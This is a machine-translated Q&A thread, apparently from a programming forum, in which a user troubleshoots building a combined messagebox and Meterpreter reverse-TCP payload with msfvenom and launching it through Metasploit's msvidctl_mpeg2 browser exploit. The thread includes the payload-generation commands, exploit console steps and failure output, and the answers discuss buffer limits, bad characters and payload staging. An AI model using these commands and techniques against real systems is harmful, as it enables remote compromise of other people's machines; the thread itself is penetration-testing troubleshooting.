0

我一直在玩新的 MSF4(框架:4.1.0-release.13988,控制台:4.1.0-release.13581)使用 msfvenom 和自定义/通用有效负载的多有效负载支持,但似乎有有关有效负载在编码和兼容性方面支持的信息。

基本上,我正在研究如何关闭服务器端服务,然后让meterpreter 监听它不再绑定的端口。(漏洞利用会进入另一个端口)

本质上,我使用 msfvenom 创建了一个 multipayload,msgbox 和 Meterpreter 背靠背,作为 exe、raw 和 .rb。我试过单独留下编码设置,并将其设置为无。(请注意,自定义/通用有效负载 .rb 源说明只允许无编码)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw

我还尝试将 EXITFUNC 设置为“无”:

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw

然后我需要将原始多有效负载写入通用/自定义有效负载可以使用的东西:(注意我尝试写入原始、exe、.rb 格式)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw

最后是时候尝试使用通用/自定义的多有效负载了:(请注意,在尝试设置和利用之前,我每次都重新加载了漏洞利用)

msf > use exploit/windows/browser/msvidctl_mpeg2
msf  exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

所以我找到了一个解释“没有编码器编码......”错误应该是什么意思。(http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions) 我想这就是 stager 有效载荷的来源。

错误的原因是 windows/msgbox 有效负载,因为它没有上演?或者是多重有效载荷没有上演?如果是后者,那么我看不到多重有效载荷将如何工作,除非它们被分阶段。组合 2 个有效载荷可能比单个有效载荷大。

有人可以至少解释一下应该与通用/有效负载兼容的编码和格式,以便我可以排除吗?我只找到了几个对多负载支持的参考。

提前致谢!我保证一旦我这样做了,我会回答我是如何做到这一点的。

4

2 回答 2

1

我认为在深入研究此类问题之前,了解一些利用动态和经典的内存损坏漏洞利用策略对您会有所帮助。

我可以推荐软件安全评估的艺术Shellcoder 的手册

也就是说,这就是正在发生的事情,当你在缓冲区溢出中“挖出”内存时,在你点击存储的堆栈帧和指令指针之前,你只有有限的空间可用于你的漏洞利用,MPEG2 浏览器错误(你正在尝试利用)在堆栈上分配 1024 个字节,因此这是您的有效负载的限制,它也由标准系列(\x00\x09\x0a\x0d,即空字符、停止、回车和分别换行),这进一步将您限制在没有考虑到这一点编写的任何 shellcode 上。

然而,Metasploit 非常聪明,它通常可以用“安全”和可利用的指令模拟一些指令,但是由于指令集的不一致、堆栈爆炸等原因,这并不总是可行的。当 msfvenom 的有效负载针对生成器运行时,没有什么可以'work' 和 Metasploit 抛出你的错误。

正如您所猜测的,这意味着您需要暂存您的 shellcode(错误,我的意思是有效负载),一个好的暂存有效负载通常可以被破坏并分布在多个内存位置,并且仍然具有足够的弹性(或重复性)以自动将自身重新组合在一起使用一种叫做egghunting的技术,如果我在你的鞋子里,我会使用通用的反向绑定windows/meterpreter/reverse_tcp,因为我不相信这个特定的漏洞会混合序数或任何类似的东西。

祝你好运

于 2011-10-28T19:50:56.060 回答
1

对不起,迟到的答案。

MSF 4.1 中有一个关于 msfvenom 的错误,而不是通用/自定义有效负载。我生成的有效载荷肯定小于允许的 1024 字节。这是一个专门针对它的线程,HDM 本人认为这是一个错误:

https://community.rapid7.com/thread/1332

以及与 msfvenom 的修复一起记录的错误案例:

http://dev.metasploit.com/redmine/issues/4714

我只是认为没有人在使用多负载支持。不要被我之前笨拙地使用 msfvenom 所迷惑。当我发布这个问题时,我已经绝望了,所以我把我认为可能是问题的所有内容都包括在内,而无需编写 shellcode。当 HDM 承认这是一个错误并决定走另一条路时,我正试图学习如何编写 2 合 1 shellcode 测试。(我抓住了 MSF Pro 试用版并设置了一个 VPN 支点来解决我的多跳测试场景)

感谢您的回复。

于 2012-01-05T02:15:10.877 回答